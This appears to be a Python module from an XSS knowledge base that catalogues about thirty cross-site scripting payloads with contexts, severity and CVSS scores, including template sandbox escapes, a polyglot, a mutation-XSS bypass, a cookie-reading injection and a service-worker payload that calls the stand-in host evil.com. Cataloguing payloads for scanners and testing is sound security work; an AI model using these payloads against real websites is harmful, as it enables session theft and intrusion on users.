#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

HTML Content and Basic Attacks
"""

from ..models import PayloadEntry


HTML_BASE_PAYLOADS = {
    # HTML Content XSS
    "html_basic_script": PayloadEntry(
        payload="<script>alert('XSS')</script>",
        contexts=["html_content", "html_comment", "svg"],
        severity="critical",
        cvss_score=8.8,
        description="Basic script tag injection in HTML content",
        tags=["script", "basic", "classic"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_img_onerror": PayloadEntry(
        payload="<img src=x onerror=alert(1)>",
        contexts=["html_content", "html_attribute", "markdown"],
        severity="high",
        cvss_score=7.5,
        description="Image error handler XSS",
        tags=["image", "onerror", "event"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_svg_onload": PayloadEntry(
        payload="<svg onload=alert(1)>",
        contexts=["svg", "html_content"],
        severity="high",
        cvss_score=7.3,
        description="SVG element with onload event",
        tags=["svg", "onload", "vector"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_iframe_js": PayloadEntry(
        payload="<iframe src=javascript:alert(1)>",
        contexts=["html_attribute", "url"],
        severity="high",
        cvss_score=7.1,
        description="iframe with javascript protocol",
        tags=["iframe", "javascript", "protocol"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # JavaScript Context XSS
    "js_variable_injection": PayloadEntry(
        payload="1; alert(document.cookie); var x=1",
        contexts=["javascript", "js_string"],
        severity="critical",
        cvss_score=8.8,
        description="Variable injection in JavaScript context",
        tags=["variable", "code-injection", "cookie-theft"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "js_function_injection": PayloadEntry(
        payload="1); alert(1); doSomething(1",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Function parameter injection",
        tags=["function", "parameter", "code-injection"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "js_string_concat": PayloadEntry(
        payload="' + alert(1) + '",
        contexts=["js_string"],
        severity="critical",
        cvss_score=8.8,
        description="String concatenation XSS",
        tags=["string", "concatenation", "expression"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Template Injection XSS
    "template_angular": PayloadEntry(
        payload="{{constructor.constructor('alert(1)')()}}",
        contexts=["template_injection"],
        severity="critical",
        cvss_score=9.0,
        description="Angular template injection with sandbox escape",
        tags=["angular", "sandbox-escape", "template"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "template_vue": PayloadEntry(
        payload="{{constructor.constructor('alert(1)')()}}",
        contexts=["template_injection"],
        severity="critical",
        cvss_score=9.0,
        description="Vue.js template injection",
        tags=["vue", "template", "expression"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "template_handlebars": PayloadEntry(
        payload="{{#with 'alert(1)' as |x|}}{{/with}}",
        contexts=["template_injection"],
        severity="high",
        cvss_score=7.5,
        description="Handlebars template injection",
        tags=["handlebars", "template", "helper"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # WebSocket XSS
    "websocket_message": PayloadEntry(
        payload='{"type": "chat", "message": "<script>alert(1)</script>"}',
        contexts=["websocket"],
        severity="high",
        cvss_score=7.5,
        description="WebSocket message injection",
        tags=["websocket", "realtime", "json"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "websocket_username": PayloadEntry(
        payload='{"type": "user_joined", "username": "<script>alert(1)</script>"}',
        contexts=["websocket"],
        severity="high",
        cvss_score=7.5,
        description="WebSocket username injection",
        tags=["websocket", "username", "display"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Service Worker XSS
    "sw_cache_injection": PayloadEntry(
        payload="data:text/javascript,self.addEventListener('install',function(){fetch('http://evil.com/steal')})",
        contexts=["service_worker"],
        severity="high",
        cvss_score=7.8,
        description="Service Worker cache injection",
        tags=["service-worker", "cache", "data-uri"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "sw_offline_xss": PayloadEntry(
        payload="data:text/html,<script>alert('Offline XSS')</script>",
        contexts=["service_worker", "html_content"],
        severity="high",
        cvss_score=7.8,
        description="Service Worker offline page XSS",
        tags=["service-worker", "offline", "data-uri"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # WebRTC XSS
    "webrtc_data_channel": PayloadEntry(
        payload='{"type": "chat", "message": "<script>alert(1)</script>"}',
        contexts=["webrtc"],
        severity="high",
        cvss_score=7.6,
        description="WebRTC data channel injection",
        tags=["webrtc", "p2p", "data-channel"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "webrtc_signaling": PayloadEntry(
        payload='{"type": "offer", "from": "<script>alert(1)</script>"}',
        contexts=["webrtc"],
        severity="high",
        cvss_score=7.6,
        description="WebRTC signaling message injection",
        tags=["webrtc", "signaling", "sdp"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # GraphQL XSS
    "graphql_query_injection": PayloadEntry(
        payload='query { user(id: "<script>alert(1)</script>") { name } }',
        contexts=["graphql"],
        severity="high",
        cvss_score=7.4,
        description="GraphQL query parameter injection",
        tags=["graphql", "query", "parameter"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "graphql_mutation_xss": PayloadEntry(
        payload='mutation { updateProfile(input: { displayName: "<script>alert(1)</script>" }) { success } }',
        contexts=["graphql"],
        severity="high",
        cvss_score=7.4,
        description="GraphQL mutation input injection",
        tags=["graphql", "mutation", "input"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Shadow DOM XSS
    "shadow_slot_injection": PayloadEntry(
        payload='<span slot="content"><script>alert(1)</script></span>',
        contexts=["shadow_dom", "html_content"],
        severity="high",
        cvss_score=7.3,
        description="Shadow DOM slot content injection",
        tags=["shadow-dom", "slot", "encapsulation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "shadow_attribute_xss": PayloadEntry(
        payload='<my-component title="<script>alert(1)</script>"></my-component>',
        contexts=["shadow_dom", "custom_elements"],
        severity="high",
        cvss_score=7.3,
        description="Shadow DOM attribute injection",
        tags=["shadow-dom", "attribute", "component"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Custom Elements XSS
    "ce_element_name": PayloadEntry(
        payload="<script>alert(1)</script>",
        contexts=["custom_elements"],
        severity="high",
        cvss_score=7.1,
        description="Custom element name injection",
        tags=["custom-elements", "element-name", "definition"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ce_attribute_xss": PayloadEntry(
        payload='<my-component data-value="<script>alert(1)</script>"></my-component>',
        contexts=["custom_elements", "html_attribute"],
        severity="high",
        cvss_score=7.1,
        description="Custom element attribute XSS",
        tags=["custom-elements", "attribute", "property"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # HTTP/2 Push XSS
    "http2_push_path": PayloadEntry(
        payload="/api/user/<script>alert(1)</script>",
        contexts=["http2_push"],
        severity="medium",
        cvss_score=6.8,
        description="HTTP/2 push path injection",
        tags=["http2", "push", "path-injection"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "http2_push_content": PayloadEntry(
        payload='var userName = "<script>alert(1)</script>";',
        contexts=["http2_push", "javascript"],
        severity="medium",
        cvss_score=6.8,
        description="HTTP/2 push content injection",
        tags=["http2", "push", "content-injection"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Advanced HTML bypasses
    "html_polyglot": PayloadEntry(
        payload="javascript:/*--></title></style></textarea></script></xmp><svg/onload=alert(1)//",
        contexts=["html_content", "url", "css"],
        severity="critical",
        cvss_score=8.8,
        description="Polyglot XSS working across multiple contexts",
        tags=["polyglot", "universal", "bypass"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_mutation_xss": PayloadEntry(
        payload='<noscript><p title="</noscript><script>alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Mutation XSS (mXSS) using noscript",
        tags=["mxss", "mutation", "noscript"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "html_entity_bypass": PayloadEntry(
        payload="&lt;script&gt;alert(1)&lt;/script&gt;",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="HTML entity encoded XSS",
        tags=["encoding", "entity", "bypass"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
}
